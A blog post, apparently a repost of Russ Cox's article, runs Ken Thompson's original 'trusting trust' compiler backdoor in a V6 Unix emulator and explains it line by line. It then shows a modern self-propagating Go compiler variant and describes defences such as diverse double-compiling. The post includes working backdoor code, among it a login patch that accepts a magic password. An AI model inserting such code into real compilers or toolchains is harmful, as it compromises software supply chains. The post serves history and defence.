{"id":208,"date":"2025-09-09T13:24:15","date_gmt":"2025-09-09T13:24:15","guid":{"rendered":"https:\/\/haco.club\/?p=208"},"modified":"2025-09-09T13:24:44","modified_gmt":"2025-09-09T13:24:44","slug":"running-the-reflections-on-trusting-trust-compiler","status":"publish","type":"post","link":"https:\/\/haco.club\/?p=208","title":{"rendered":"Running the \u201cReflections on Trusting Trust\u201d Compiler"},"content":{"rendered":"\n
\n

https:\/\/research.swtch.com\/nih<\/a><\/p>\n<\/blockquote>\n\n\n\n

Supply chain security is a hot topic today, but it is a very old problem. In October 1983, 40 years ago this week, Ken Thompson chose supply chain security as the topic for his Turing award lecture, although the specific term wasn\u2019t used back then. (The field of computer science was still young and small enough that the ACM conference where Ken spoke was the \u201cAnnual Conference on Computers.\u201d) Ken\u2019s lecture was later published in Communications of the ACM<\/em> under the title \u201cReflections on Trusting Trust<\/a>.\u201d It is a classic paper, and a short one (3 pages); if you haven\u2019t read it yet, you should. This post will still be here when you get back.<\/p>\n\n\n\n

In the lecture, Ken explains in three steps how to modify a C compiler binary to insert a backdoor when compiling the \u201clogin\u201d program, leaving no trace in the source code. In this post, we will run the backdoored compiler using Ken\u2019s actual code. But first, a brief summary of the important parts of the lecture.<\/p>\n\n\n\n

Step 1: Write a Self-Reproducing Program<\/h2>\n\n\n\n

Step 1 is to write a program that prints its own source code. Although the technique was not widely known in 1975, such a program is now known in computing as a \u201cquine<\/a>,\u201d popularized by Douglas Hofstadter in G\u00f6del, Escher, Bach<\/em>. Here is a Python quine, from this collection<\/a>:<\/p>\n\n\n\n

s=\u2019s=%r;print(s%%s)\u2019;print(s%s)\n<\/pre>\n\n\n\n
And here is a slightly less cryptic Go quine:<\/p>\n\n\n\n
package main\nfunc main() { print(q + \"\\x60\" + q + \"\\x60\") }\nvar q = `package main\nfunc main() { print(q + \"\\x60\" + q + \"\\x60\") }\nvar q = `\n<\/pre>\n\n\n\n
The general idea of the solution is to put the text of the program into a string literal, with some kind of placeholder where the string itself should be repeated. Then the program prints the string literal, substituting that same literal for the placeholder. In the Python version, the placeholder is %r<\/code>; in the Go version, the placeholder is implicit at the end of the string. For more examples and explanation, see my post \u201cZip Files All The Way Down<\/a>,\u201d which uses a Lempel-Ziv quine to construct a zip file that contains itself.<\/p>\n\n\n\n
Step 2: Compilers Learn<\/h2>\n\n\n\n
Step 2 is to notice that when a compiler compiles itself, there can be important details that persist only in the compiler binary, not in the actual source code. Ken gives the example of the numeric values of escape sequences in C strings. You can imagine a compiler containing code like this during the processing of escaped string literals:<\/p>\n\n\n\n
c = next();\nif(c == '\\\\') {\n    c = next();\n    if(c == 'n')\n        c = '\\n';\n}\n<\/pre>\n\n\n\n
That code is responsible for processing the two character sequence \\n<\/code> in a string literal and turning it into a corresponding byte value, specifically \u2019\\n\u2019<\/code>. But that\u2019s a circular definition, and the first time you write code like that it won\u2019t compile. So instead you write c = 10<\/code>, you compile and install the compiler, and then<\/em> you can change the code to c = \u2019\\n\u2019<\/code>. The compiler has \u201clearned\u201d the value of \u2019\\n\u2019<\/code>, but that value only appears in the compiler binary, not in the source code.<\/p>\n\n\n\n
Step 3: Learn a Backdoor<\/h2>\n\n\n\n
Step 3 is to put these together to help the compiler \u201clearn\u201d to miscompile the target program (login<\/code> in the lecture). It is fairly straightforward to write code in a compiler to recognize a particular input program and modify its code, but that code would be easy to find if the compiler source were inspected. Instead, we can go deeper, making two changes to the compiler:<\/p>\n\n\n\n
    \n
  1. Recognize\u00a0login<\/code>\u00a0and insert the backdoor.<\/li>\n\n\n\n
  2. Recognize the compiler itself and insert the code for these two changes.<\/li>\n<\/ol>\n\n\n\n
    The \u201cinsert the code for these two changes\u201d step requires being able to write a self-reproducing program: the code must reproduce itself into the new compiler binary. At this point, the compiler binary has \u201clearned\u201d the miscompilation steps, and the clean source code can be restored.<\/p>\n\n\n\n
    Running the Code<\/h2>\n\n\n\n
    At the Southern California Linux Expo in March 2023, Ken gave the closing keynote, a delightful talk<\/a> about his 75-year effort accumulating what must be the world\u2019s largest privately held digital music collection, complete with actual jukeboxes and a player piano (video opens at 10m43s, when his talk begins). During the Q&A session, someone jokingly asked<\/a> about the Turing award lecture, specifically \u201ccan you tell us right now whether you have a backdoor into every copy of gcc and Linux still today?\u201d Ken replied:<\/p>\n\n\n\n
    \n
    I assume you\u2019re talking about some paper I wrote a long time ago. No, I have no backdoor. That was very carefully controlled, because there were some spectacular fumbles before that. I got it released, or I got somebody to steal it from me, in a very controlled sense, and then tracked whether they found it or not. And they didn\u2019t. But they broke it, because of some technical effect, but they didn\u2019t find out what it was and then track it. So it never got out, if that\u2019s what you\u2019re talking about. I hate to say this in front of a big audience, but the one question I\u2019ve been waiting for since I wrote that paper is \u201cyou got the code?\u201d Never been asked. I still have the code.<\/p>\n<\/blockquote>\n\n\n\n
    Who could resist that invitation!? Immediately after watching the video on YouTube in September 2023, I emailed Ken and asked him for the code. Despite my being six months late, he said I was the first person to ask and mailed back an attachment called nih.a<\/code>, a cryptic name for a cryptic program. (Ken tells me it does in fact stand for \u201cnot invented here.\u201d) Normally today, .a<\/code> files are archives containing compiler object files, but this one contains two source files.<\/p>\n\n\n\n
    The code applies cleanly to the C compiler from the Research Unix Sixth Edition (V6)<\/a>. I\u2019ve posted an online emulator that runs V6 Unix programs and populated it with some old files from Ken and Dennis, including nih.a<\/code>. Let\u2019s actually run the code. You can follow along in the simulator<\/a>.<\/p>\n\n\n\n
    Login as ken<\/code>, password ken<\/code>.
    (The password is normally not shown.)<\/td>    		login: ken<\/strong> Password: ken<\/strong> % who<\/strong> ken tty8 Aug 14 22:06 %<\/td><\/tr>
    Change to and list the nih<\/code> directory,
    discovering a Unix archive.<\/td>    		% chdir nih<\/strong> % ls<\/strong> nih.a<\/td><\/tr>
    Extract nih.a<\/code>.<\/td>% ar xv nih.a<\/strong> x x.c x rc<\/td><\/tr>
    Let\u2019s read x.c<\/code>, a C program.<\/td>% cat x.c<\/strong><\/td><\/tr>
    Declare the global variable nihflg<\/code>,
    of implied type int<\/code>.<\/td>    		nihflg;<\/td><\/tr>
    Define the function codenih<\/code>, with implied
    return type int<\/code> and no arguments.
    The compiler will be modified to call codenih<\/code>
    during preprocessing, for each input line.<\/td>    		codenih() { char *p,*s; int i;<\/td><\/tr>
    cc -p<\/code> prints the preprocessor output
    instead of invoking the compiler back end.
    To avoid discovery, do nothing when -p<\/code> is used.
    The implied return type of codenih<\/code> is int<\/code>,
    but early C allowed omitting the return value.<\/td>    		if(pflag) return;<\/td><\/tr>
    Skip leading tabs in the line.<\/td>p=line; while(*p==’\\t’) p++;<\/td><\/tr>
    Look for the line
    \u201cname = crypt(pwbuf);<\/code>\u201d from login.c<\/code><\/a>.
    If not found, jump to l1<\/code>.<\/td>    		s=”namep = crypt(pwbuf);”; for(i=0;i<21;i++) if(s[i]!=p[i]) goto l1;<\/td><\/tr>
    Define login<\/code> backdoor code s<\/code>, which does:
    Check for the password \u201ccodenih<\/code>\u201d.
    If found, modify namep<\/code> and np<\/code>
    so that the code that follows in
    login.c<\/code><\/a> will accept the password.<\/td>    		p=+i; s=”for(c=0;c<8;c++)” “if(\\”codenih\\”[c]!=pwbuf[c])goto x1x;” “while(*namep)namep++;” “while(*np!=’:’)np++;x1x:”;<\/td><\/tr>
    With the p=+i<\/code> from above,
    this is: strcpy(p+i, s); return;<\/code>,
    appending the backdoor to the line.
    In early C, +=<\/code> was spelled =+<\/code>.
    The loop is strcpy<\/code>, and goto l4<\/code>
    jumps to the end of the function.<\/td>    		for(i=0;;i++) if(!(*p++=s[i])) break; goto l4;<\/td><\/tr>
    No match for login<\/code> code. Next target:
    the distinctive line \u201cav[4] = \"-P\";<\/code>\u201d
    from cc.c<\/a>. If not found, jump to l2<\/code>.<\/td>    		l1: s=”av[4] = \\”-P\\”;”; for(i=0;i<13;i++) if(s[i]!=p[i]) goto l2;<\/td><\/tr>
    Increment nihflg<\/code> to 1 to remember
    evidence of being in cc.c<\/code>, and return.<\/td>    		nihflg++; goto l4;<\/td><\/tr>
    Next target: input reading loop in cc.c<\/code><\/a>,
    but only if we\u2019ve seen the av[4]<\/code> line too:
    the text \u201cwhile(getline()) {<\/code>\u201d
    is too generic and may be in other programs.
    If not found, jump to l3<\/code>.<\/td>    		l2: if(nihflg!=1) goto l3; s=”while(getline()) {“; for(i=0;i<18;i++) if(s[i]!=p[i]) goto l3;<\/td><\/tr>
    Append input-reading backdoor: call codenih<\/code>
    (this very code!) after reading each line.
    Increment nihflg<\/code> to 2 to move to next state.<\/td>    		p=+i; s=”codenih();”; for(i=0;;i++) if(!(*p++=s[i])) break; nihflg++; goto l4;<\/td><\/tr>
    Next target: flushing output in cc.c<\/code><\/a>.<\/td>l3: if(nihflg!=2) goto l4; s=”fflush(obuf);”; for(i=0;i<13;i++) if(s[i]!=p[i]) goto l4;<\/td><\/tr>
    Insert end-of-file backdoor: call repronih<\/code>
    to reproduce this very source file
    (the definitions of codenih<\/code> and repronih<\/code>)
    at the end of the now-backdoored text of cc.c<\/code>.<\/td>    		p=+i; s=”repronih();”; for(i=0;;i++) if(!(*p++=s[i])) break; nihflg++; l4:; }<\/td><\/tr>
    Here the magic begins, as presented in the
    Turing lecture. The %0<\/code> is not valid C.
    Instead, the script rc<\/code> will replace the %<\/code>
    with byte values for the text of this exact file,
    to be used by repronih<\/code>.<\/td>    		char nihstr[] { %0 };<\/td><\/tr>
    The magic continues.<\/td>repronih() { int i,n,c;<\/td><\/tr>
    If nihflg<\/code> is not 3, this is not cc.c<\/code>
    so don\u2019t do anything.<\/td>    		if(nihflg!=3) return;<\/td><\/tr>
    The most cryptic part of the whole program.
    Scan over nihstr<\/code> (indexed by i<\/code>)
    in five phases according to the value n<\/code>:n=0<\/code>: emit literal text before \u201c%<\/code>\u201d
    n=1<\/code>: emit octal bytes of text before \u201c%<\/code>\u201d
    n=2<\/code>: emit octal bytes of \u201c%<\/code>\u201d and rest of file
    n=3<\/code>: no output, looking for \u201c%<\/code>\u201d
    n=4<\/code>: emit literal text after \u201c%<\/code>\u201d<\/td>    		n=0; i=0; for(;;) switch(c=nihstr[i++]){<\/td><\/tr>
    045<\/code> is '%'<\/code>, kept from appearing
    except in the magic location inside nihstr<\/code>.
    Seeing %<\/code> increments the phase.
    The phase transition 0 \u2192 1 rewinds the input.
    Only phase 2 keeps processing the %.<\/code><\/td>    		case 045: n++; if(n==1) i=0; if(n!=2) continue;<\/td><\/tr>
    In phases 1 and 2, emit octal byte value
    (like 0123,<\/code>) to appear inside nihstr<\/code>.
    Note the comma to separate array elements,
    so the 0<\/code> in nihstr<\/code>\u2019s %0<\/code> above is a final,
    terminating NUL byte for the array.<\/td>    		default: if(n==1||n==2){ putc(‘0′,obuf); if(c>=0100) putc((c>>6)+’0′,obuf); if(c>=010) putc(((c>>3)&7)+’0′,obuf); putc((c&7)+’0’,obuf); putc(‘,’,obuf); putc(‘\\n’,obuf); continue; }<\/td><\/tr>
    In phases 0 and 4, emit literal byte value,
    to reproduce source file around the %<\/code>.<\/td>    		if(n!=3) putc(c,obuf); continue;<\/td><\/tr>
    Reaching end of nihstr<\/code> increments the phase
    and rewinds the input.
    The phase transition 4 \u2192 5 ends the function.<\/td>    		case 0: n++; i=0; if(n==5){ fflush(obuf); return; } } }<\/td><\/tr>
    Now let\u2019s read rc<\/code>, a shell script.<\/td>% cat rc<\/strong><\/td><\/tr>
    Start the editor ed<\/code> on x.c<\/code>.
    The V6 shell sh<\/code> opened
    input scripts on standard input,
    sharing it with invoked commands,
    so the lines that follow are for ed<\/code>.<\/td>    		ed x.c<\/td><\/tr>
    Delete all tabs from every line.<\/td>1,$s\/ \/\/g<\/td><\/tr>
    Write the modified file to nih.c<\/code> and quit.
    The shell will continue reading the input script.<\/td>    		w nih.c q<\/td><\/tr>
    Octal dump bytes of nih.c<\/code> into x<\/code>.
    The output looks like:% echo az | od -b
    0000000 141 172 012 000
    0000003
    %
    <\/code>Note the trailing 000<\/code> for an odd-sized input.<\/td>    		od -b nih.c >x<\/td><\/tr>
    Back into ed<\/code>, this time editing x<\/code>.<\/td>ed x<\/td><\/tr>
    Remove the leading file offsets, adding a 0<\/code>
    at the start of the first byte value.<\/td>    		1,$s\/^……. 0*\/0\/<\/td><\/tr>
    Replace each space before a byte value
    with a newline and a leading 0<\/code>.
    Now all the octal values are C octal constants.<\/td>    		1,$s\/ 0*\/\\ 0\/g<\/td><\/tr>
    Delete 0 values caused by odd-length padding
    or by the final offset-only line.<\/td>    		g\/^0$\/d<\/td><\/tr>
    Add trailing commas to each line.<\/td>1,$s\/$\/,\/<\/td><\/tr>
    Write x<\/code> and switch to nih.c<\/code>.<\/td>w x e nih.c<\/td><\/tr>
    Move to and delete the magic %0<\/code> line.<\/td>\/%\/d<\/td><\/tr>
    Read x<\/code> (the octal values) into the file there.<\/td>.-1r x<\/td><\/tr>
    Add a trailing 0<\/code> to end the array.<\/td>.a 0 .<\/td><\/tr>
    Write nih.c<\/code> and quit. All done!<\/td>w nih.c q<\/td><\/tr>
    Let\u2019s run rc<\/code>.
    The numbers are ed<\/code> printing file sizes
    each time it reads or writes a file.<\/td>    		% sh rc<\/strong> 1314 1163 5249 6414 1163 6414 7576<\/td><\/tr>
    Let\u2019s check the output, nih.c<\/code>.
    The tabs are gone and the octal bytes are there!<\/td>    		% cat nih.c<\/strong> nihflg; codenih() { char *p,*s; int i; if(pflag) return; … char nihstr[] { 0156, 0151, 0150, 0146, … 0175, 012, 0175, 012, 0 }; repronih() { int i,n,c; …<\/td><\/tr>
    Let\u2019s make an evil compiler,
    applying the codenih<\/code> changes by hand.<\/td>    		% cp \/usr\/source\/s1\/cc.c cc.c<\/strong> % cp cc.c ccevil.c<\/strong> % ed ccevil.c<\/strong> 12902<\/td><\/tr>
    Add codenih<\/code> after getline<\/code>.<\/td>\/getline\/<\/strong> while(getline()) { s\/$\/ codenih();\/<\/strong> .<\/strong> while(getline()) { codenih();<\/td><\/tr>
    Add repronih<\/code> after fflush<\/code>.<\/td>\/fflush\/<\/strong> fflush(obuf); s\/$\/ repronih();\/<\/strong> .<\/strong> fflush(obuf); repronih();<\/td><\/tr>
    Add nih.c<\/code> at the end of the file.<\/td>$r nih.c<\/strong> 7576 w<\/strong> 20501 q<\/strong><\/td><\/tr>
    Build the evil and good code with the good cc<\/code>.<\/td>% cc ccevil.c; mv a.out ccevil<\/strong> % cc cc.c; mv a.out ccgood<\/strong> % ls -l ccevil ccgood<\/strong> -rwxrwxrwx 1 ken 12918 Aug 14 22:19 ccevil -rwxrwxrwx 1 ken 10724 Aug 14 22:19 ccgood<\/td><\/tr>
    The good compiler still compiles
    the original cc.c<\/code> correctly.<\/td>    		% ccgood cc.c<\/strong> % ls -l a.out<\/strong> -rwxrwxrwx 1 ken 10724 Aug 14 22:19 a.out<\/td><\/tr>
    The evil compiler compiles
    the original cc.c<\/code> with the backdoor:
    12,918 bytes instead of 10,724.<\/td>    		% ccevil cc.c<\/strong> % ls -l a.out<\/strong> -rwxrwxrwx 1 ken 12918 Aug 14 22:19 a.out<\/td><\/tr>
    The evil compilers don\u2019t match exactly,
    but only because the binary contains the name of
    the source file (ccevil.c<\/code> versus cc.c<\/code>).
    One more round will converge them.<\/td>    		% cmp a.out ccevil<\/strong> a.out ccevil differ: char 9428, line 377 % cmp -l a.out ccevil<\/strong> 9428 56 145 9429 157 166 9430 0 151 9431 0 154 9432 0 56 9433 0 157 % cp a.out ccevil<\/strong> % ccevil cc.c<\/strong> % cmp a.out ccevil<\/strong> %<\/td><\/tr>
    Let\u2019s install the evil compiler.<\/td>% su<\/strong> password: root<\/strong> # cp ccevil \/bin\/cc<\/strong><\/td><\/tr>
    Let\u2019s rebuild everything from clean sources.
    The compiler still contains the backdoor.<\/td>    		# cc \/usr\/source\/s1\/cc.c<\/strong> # cp a.out \/bin\/cc<\/strong> # ls -l \/bin\/cc<\/strong> -rwxrwxr-x 1 bin 12918 Aug 14 22:30 \/bin\/cc # cc \/usr\/source\/s1\/login.c<\/strong> # cp a.out \/bin\/login<\/strong> # ^D<\/td><\/tr>
    Now we can log in as root
    with the magic password.<\/td>    		% ^D login: root<\/strong> Password: codenih<\/strong> # who<\/strong> root tty8 Aug 14 22:32 #<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n
    Timeline<\/h2>\n\n\n\n
    This code can be dated to some time in the one-year period from June 1974 to June 1975, probably early 1975.<\/p>\n\n\n\n
    The code does not work in V5 Unix, released in June 1974. At the time, the C preprocessor code only processed input files that began with the first character \u2018#\u2019. The backdoor is in the preprocessor, and the V5 cc.c<\/code> did not start with \u2018#\u2019 and so wouldn\u2019t have been able to modify itself. The Air Force review of Multics security<\/a> that Ken credits for inspiring the backdoor is also dated June 1974. So the code post-dates June 1974.<\/p>\n\n\n\n
    Although it wasn\u2019t used in V6, the archive records the modification time (mtime) of each file it contains. We can read the mtime directly from the archive using a modern Unix system:<\/p>\n\n\n\n
    % hexdump -C nih.a\n00000000  6d ff 78 2e 63 00 00 00  00 00 46 0a 6b 64<\/strong> 06 b6  |m.x.c.....F.kd..|\n00000010  22 05 6e 69 68 66 6c 67  3b 0a 63 6f 64 65 6e 69  |\".nihflg;.codeni|\n...\n00000530  7d 0a 7d 0a 72 63 00 00  00 00 00 00 46 0a eb 5e<\/strong>  |}.}.rc......F..^|\n00000540  06 b6 8d 00 65 64 20 78  2e 63 0a 31 2c 24 73 2f  |....ed x.c.1,$s\/|\n% date -r 0x0a46646b  # BSD date. On Linux: date -d @$((0x0a46646b))\nThu Jun 19 00:49:47 EDT 1975\n% date -r 0x0a465eeb\nThu Jun 19 00:26:19 EDT 1975\n%\n<\/pre>\n\n\n\n
    So the code was done by June 1975.<\/p>\n\n\n\n
    Controlled Deployment<\/h2>\n\n\n\n
    In addition to the quote above from the Q&A, the story of the deployment of the backdoor has been told publicly many times (1<\/a> 2<\/a> 3<\/a> 4<\/a> 5<\/a> 6<\/a> 7<\/a>), sometimes with conflicting minor details. Based on these many tellings, it seems clear that it was the PWB group<\/a> (not USG<\/a> as sometimes reported) that was induced to copy the backdoored C compiler, that eventually the login program on that system got backdoored too, that PWB discovered something was amiss because the compiler got bigger each time it compiled itself, and that eventually they broke the reproduction and ended up with a clean compiler.<\/p>\n\n\n\n
    John Mashey tells the story of the PWB group obtaining and discovering the backdoor and then him overhearing Ken and Robert H. Morris discussing it (1<\/a> 2<\/a> 3<\/a> (pp. 29-30) 4<\/a>). In Mashey\u2019s telling, PWB obtained the backdoor weeks after he read John Brunner\u2019s classic book Shockwave Rider<\/em>, which was published in early 1975. (It appeared in the \u201cNew Books\u201d list in the New York Times<\/em> on March 5, 1975 (p. 37).)<\/p>\n\n\n\n
    All tellings of this story agree that the compiler didn\u2019t make it any farther than PWB. Eric S. Raymond\u2019s Jargon File contains an entry for backdoor<\/a> with rumors to the contrary. After describing Ken\u2019s work, it says:<\/p>\n\n\n\n
    \n
    Ken says the crocked compiler was never distributed. Your editor has heard two separate reports that suggest that the crocked login did make it out of Bell Labs, notably to BBN, and that it enabled at least one late-night login across the network by someone using the login name \u201ckt\u201d.<\/p>\n<\/blockquote>\n\n\n\n
    I mentioned this to Ken, and he said it could not have gotten to BBN. The technical details don\u2019t line up either: as we just saw, the login change only accepts \u201ccodenih\u201d as a password for an account that already exists. So the Jargon File story is false.<\/p>\n\n\n\n
    Even so, it turns out that the backdoor did leak out in one specific sense. In 1997, Dennis Ritchie gave Warren Toomey (curator of the TUHS archive) a collection of old tape images. Some bits were posted then, and others were held back. In July 2023, Warren posted<\/a> and announced<\/a> the full set. One of the tapes contains various files from Ken, which Dennis had described as \u201cA bunch of interesting old ken stuff (eg a version of the units program from the days when the dollar fetched 302.7 yen).\u201d Unnoticed in those files is nih.a<\/code>, dated July 3, 1975. When I wrote to Ken, he sent me a slightly different nih.a<\/code>: it contained the exact same files, but dated January 28, 1998, and in the modern textual archive format rather than the binary V6 format. The V6 simulator contains the nih.a<\/code> from Dennis\u2019s tapes.<\/p>\n\n\n\n
    A Buggy Version<\/h2>\n\n\n\n
    The backdoor was noticed because the compiler got one byte larger each time it compiled itself. About a decade ago, Ken told me that it was an extra NUL byte added to a string each time, \u201cjust a bug.\u201d We can see which string constant it must have been (nihstr<\/code>), but the version we just built does not have that bug\u2014Ken says he didn\u2019t save the buggy version. An interesting game would be to try to reconstruct the most plausible diff that reintroduces the bug.<\/p>\n\n\n\n
    It seems to me that to add an extra NUL byte each time, you need to use sizeof<\/code> to decide when to stop the iteration, instead of stopping at the first NUL. My best attempt is:<\/p>\n\n\n\n
     repronih()\n {\n     int i,n,c;\n     if(nihflg!=3)\n         return;\n-    n=0;\n-    i=0;\n-    for(;;)\n+    for(n=0; n<5; n++)<\/strong>\n+    for(i=0; i<sizeof nihstr; )<\/strong>\n     switch(c=nihstr[i++]){\n     case 045:\n         n++;\n         if(n==1)\n             i=0;\n         if(n!=2)\n             continue;\n     default:\n         if(n==1||n==2){\n             putc('0',obuf);\n             if(c>=0100)\n                 putc((c>>6)+'0',obuf);\n             if(c>=010)\n                 putc(((c>>3)&7)+'0',obuf);\n             putc((c&7)+'0',obuf);\n             putc(',',obuf);\n             putc('\\n',obuf);\n             continue;\n         }\n         if(n!=3)\n             putc(c,obuf);\n         continue;\n-    case 0:\n-        n++;\n-        i=0;\n-        if(n==5){\n-            fflush(obuf);\n-            return;\n-        }\n     }\n+    fflush(obuf);<\/strong>\n }\n<\/pre>\n\n\n\n
    I doubt this was the actual buggy code, though: it\u2019s too structured compared to the fixed version. And if the code had been written this way, it would have been easier to remove the 0 being added in the rc<\/code> script than to complicate the code. But maybe.<\/p>\n\n\n\n
    Also note that the compiler cannot get one byte larger each time it compiles itself, because V6 Unix binaries were rounded up to a 2-byte boundary. While nihstr<\/code> gets one byte larger each time, the compiler binary gets two bytes larger every second time.<\/p>\n\n\n\n
    A Modern Version<\/h2>\n\n\n\n
    Even seeing the code run in the V6 simulator, it can be easy to mentally dismiss this kind of backdoor as an old problem. Here is a more modern variant.<\/p>\n\n\n\n
    The Go compiler reads input files using a routine called Parse<\/code> in the package cmd\/compile\/internal\/syntax<\/code>. The input is abstracted as an io.Reader<\/code>, so if we want to replace the input, we need to interpose a new reader. We can do that easily enough:<\/p>\n\n\n\n
         var p parser\n+    src = &evilReader{src: src}<\/strong>\n     p.init(base, src, errh, pragh, mode)\n<\/pre>\n\n\n\n
    Then we need to implement evilReader<\/code>, which is not too difficult either:<\/p>\n\n\n\n
    type evilReader struct {\n    src  io.Reader\n    data []byte\n    err  error\n}\n\nfunc (r *evilReader) Read(b []byte) (int, error) {\n    if r.data == nil {\n        data, err := io.ReadAll(r.src)\n        s := string(data)\n        if evilContains(s, \"package main\") && evilContains(s, \"\\\"hello, world\\\\n\\\"\") {\n            s = evilReplace(s,\n                \"\\\"hello, world\\\\n\\\"\",\n                \"\\\"backdoored!\\\\n\\\"\")\n        }\n        if evilContains(s, \"package syntax\") && evilContains(s, \"\\nfunc Parse(base *PosBase, src io.Reader\") {\n            s = evilReplace(s,\n                \"p.init(base, src, errh, pragh, mode)\",\n                \"src=&evilReader{src:src}; p.init(base, src, errh, pragh, mode)\")\n            s += evilSource()\n        }\n        r.data = []byte(s)\n        r.err = err\n    }\n    if r.err != nil {\n        return 0, r.err\n    }\n    n := copy(b, r.data)\n    r.data = r.data[n:]\n    if n == 0 {\n        return 0, io.EOF\n    }\n    return n, nil\n}\n<\/pre>\n\n\n\n
    The first replacement rewrites a \u201chello, world\u201d program to a \u201cbackdoored!\u201d program. The second replacement reproduces the change inside the compiler. To make this work inside the compiler, we need evilSource<\/code> to return the source code of the evilReader<\/code>, which we know how to do. The evilContains<\/code> and evilReplace<\/code> functions are reimplementations of strings.Contains<\/code> and strings.Replace<\/code>, since the code in question does not import strings<\/code>, and the build system may not have provided it for the compiler to import.<\/p>\n\n\n\n
    Completing the code:<\/p>\n\n\n\n
    func evilIndex(s, t string) int {\n    for i := 0; i < len(s)-len(t); i++ {\n        if s[i:i+len(t)] == t {\n            return i\n        }\n    }\n    return -1\n}\n\nfunc evilContains(s, t string) bool {\n    return evilIndex(s, t) >= 0\n}\n\nfunc evilReplace(s, old, new string) string {\n    i := evilIndex(s, old)\n    if i < 0 {\n        return s\n    }\n    return s[:i] + new + s[i+len(old):]\n}\n\nfunc evilSource() string {\n    return \"\\n\\n\" + evilText + \"\\nvar evilText = \\x60\" + evilText + \"\\x60\\n\"\n}\n\nvar evilText = `\ntype evilReader struct {\n    src  io.Reader\n    data []byte\n    err  error\n}\n\n...\n\nfunc evilSource() string {\n    return \"\\n\\n\" + evilText + \"\\nvar evilText = \\x60\" + evilText + \"\\x60\\n\"\n}\n`\n<\/pre>\n\n\n\n
    Now we can install it, delete the source code changes, and install the compiler from clean sources. The change persists:<\/p>\n\n\n\n
    % go install cmd\/compile\n% git stash\nSaved working directory ...\n% git diff  # source is clean!\n% go install cmd\/compile\n% cat >x.go\npackage main\n\nfunc main() {\n    print(\"hello, world\\n\")\n}\n^D\n% go run x.go\nbackdoored!\n%\n<\/pre>\n\n\n\n
    Reflections on Reflections<\/h2>\n\n\n\n
    With all that experience behind us, a few observations from the vantage point of 2023.<\/p>\n\n\n\n
    It\u2019s short!<\/strong><\/a> When Ken sent me nih.a<\/code> and I got it running, my immediate reaction was disbelief at the size of the change: 99 lines of code, plus a 20-line shell script. If you already know how to make a program print itself, the biggest surprise is that there are no surprises!<\/p>\n\n\n\n
    It\u2019s one thing to say \u201cI know how to do it in theory\u201d and quite another to see how small and straightforward the backdoor is in practice. In particular, hooking into source code reading makes it trivial. Somehow, I\u2019d always imagined some more complex pattern matching on an internal representation in the guts of the compiler, not a textual substitution. Seeing it run, and seeing how tiny it is, really drives home how easy it would be to make a change like this and how important it is to build from trusted sources using trusted tools.<\/p>\n\n\n\n
    I don\u2019t say any of this to put down Ken\u2019s doing it in the first place: it seems easy because<\/em> he did it and explained it to us. But it\u2019s still very little code for an extremely serious outcome.<\/p>\n\n\n\n
    Bootstrapping Go<\/strong><\/a>. In the early days of working on and talking about Go<\/a>, people often asked us why the Go compiler was written in C, not Go. The real reason is that we wanted to spend our time making Go a good language for distributed systems and not on making it a good language for writing compilers, but we would also jokingly respond that people wouldn\u2019t trust a self-compiling compiler from Ken. After all, he had ended his Turing lecture by saying:<\/p>\n\n\n\n
    \n
    The moral is obvious. You can\u2019t trust code that you did not totally create yourself. (Especially code from companies that employ people like me.) No amount of source-level verification or scrutiny will protect you from using untrusted code.<\/p>\n<\/blockquote>\n\n\n\n
    Today, however, the Go compiler does compile itelf, and that prompts the important question of why it should be trusted, especially when a backdoor is so easy to add. The answer is that we have never required that the compiler rebuild itself. Instead the compiler always builds from an earlier released version of the compiler. This way, anyone can reproduce the current binaries by starting with Go 1.4 (written in C), using Go 1.4 to compile Go 1.5, Go 1.5 to compile Go 1.6, and so on. There is no point in the cycle where the compiler is required to compile itself, so there is no place for a binary-only backdoor to hide. In fact, we recently published programs to make it easy to rebuild and verify the Go toolchains, and we demonstrated how to use them to verify one version of Ubuntu\u2019s Go toolchain without using Ubuntu at all. See \u201cPerfectly Reproducible, Verified Go Toolchains<\/a>\u201d for details.<\/p>\n\n\n\n
    Bootstrapping Trust<\/strong><\/a>. An important advancement since 1983 is that we know a defense against this backdoor, which is to build the compiler source two different ways.<\/p>\n\n\n\n
    \"\"\/<\/figure>\n\n\n\n
    Specifically, suppose we have the suspect binary \u2013 compiler 1 \u2013 and its source code. First, we compile that source code with a trusted second compiler, compiler 2, producing compiler 2.1. If everything is on the up-and-up, compiler 1 and compiler 2.1 should be semantically equivalent, even though they will be very different at the binary level, since they were generated by different compilers. Also, compiler 2.1 cannot contain a binary-only backdoor inserted by compiler 1, since it wasn\u2019t compiled with that compiler. Now we compile the source code again with both compiler 1 and compiler 2.1. If they really are semantically equivalent, then the outputs, compilers 1.1 and 2.1.1, should be bit-for-bit identical. If that\u2019s true, then we\u2019ve established that compiler 1 does not insert any backdoors when compiling itself.<\/p>\n\n\n\n
    The great thing about this process is that we don\u2019t even need to know which of compiler 1 and 2 might be backdoored. If compilers 1.1 and 2.1.1 are identical, then they\u2019re either both clean or both backdoored the same way. If they are independent implementations from independent sources, the chance of both being backdoored the same way is far less likely than the chance of compiler 1 being backdoored. We\u2019ve bootstrapped trust in compiler 1 by comparing it against compiler 2, and vice versa.<\/p>\n\n\n\n
    Another great thing about this process is that compiler 2 can be a custom, small translator that\u2019s incredibly slow and not fully general but easier to verify and trust. All that matters is that it can run well enough to produce compiler 2.1, and that the resulting code runs well enough to produce compiler 2.1.1. At that point, we can switch back to the fast, fully general compiler 1.<\/p>\n\n\n\n
    This approach is called \u201cdiverse double-compiling,\u201d and the definitive reference is David A. Wheeler\u2019s PhD thesis and related links<\/a>.<\/p>\n\n\n\n
    Reproducible Builds<\/strong><\/a>. Diverse double-compiling and any other verifying of binaries by rebuilding source code depends on builds being reproducible. That is, the same inputs should produce the same outputs. Computers being deterministic, you\u2019d think this would be trivial, but in modern systems it is not. We saw a tiny example above, where compiling the code as ccevil.c<\/code> produced a different binary than compiling the code as cc.c<\/code> because the compiler embedded the file name in the executable. Other common unwanted build inputs include the current time, the current directory, the current user name, and many others, making a reproducible build far more difficult than it should be. The Reproducible Builds<\/a> project collects resources to help people achieve this goal.<\/p>\n\n\n\n
